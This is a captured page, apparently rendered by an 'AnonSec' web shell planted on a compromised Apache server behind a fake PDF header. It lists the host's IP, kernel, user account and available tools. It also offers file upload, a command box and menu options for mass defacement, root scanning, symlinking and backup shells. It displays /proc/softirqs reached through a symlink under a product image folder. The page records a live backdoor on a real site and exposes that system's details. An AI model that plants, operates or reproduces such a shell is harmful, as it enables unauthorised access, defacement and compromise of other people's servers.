%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj < AnonSec Shell
AnonSec Shell
Server IP : 212.252.79.165  /  Your IP : 216.73.217.172   [ Reverse IP ]
Web Server : Apache
System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
User : cehaburo ( 1001)
PHP Version : 8.1.33
Disable Function : exec,passthru,shell_exec,system
Domains : 48 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/cehaburo/www/images/product/anon_sym/anon/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cehaburo/www/images/product/anon_sym/anon/proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       
          HI:          0          0          0          0          0          0          0          0
       TIMER:   22649574  146818510   53017488   29700957   27679209   29542005   96327395   28151348
      NET_TX:        549        779        771        751        939        794        879     505591
      NET_RX:   26192339   26036274  140154605   41701631  117657494   44293717   25806149   45612725
       BLOCK:    3662895    5194411    4595175    4387253    4388582    4539060    4553036    4306994
    IRQ_POLL:          0          0          0          0          0          0          0          0
     TASKLET:    2803328    2837054    2989297    3071396    2909045    3858684    3243805    3931632
       SCHED:   37112215   83696487   46857542   36989015   35342367   37020065   61140280   36077748
     HRTIMER:       2560       1820       3261       6947      18282       5606       4196       5496
         RCU:   95978411  139680819  117030978  108605721  104228487  103480610  116869893  100677209

Anon7 - 2022
AnonSec Team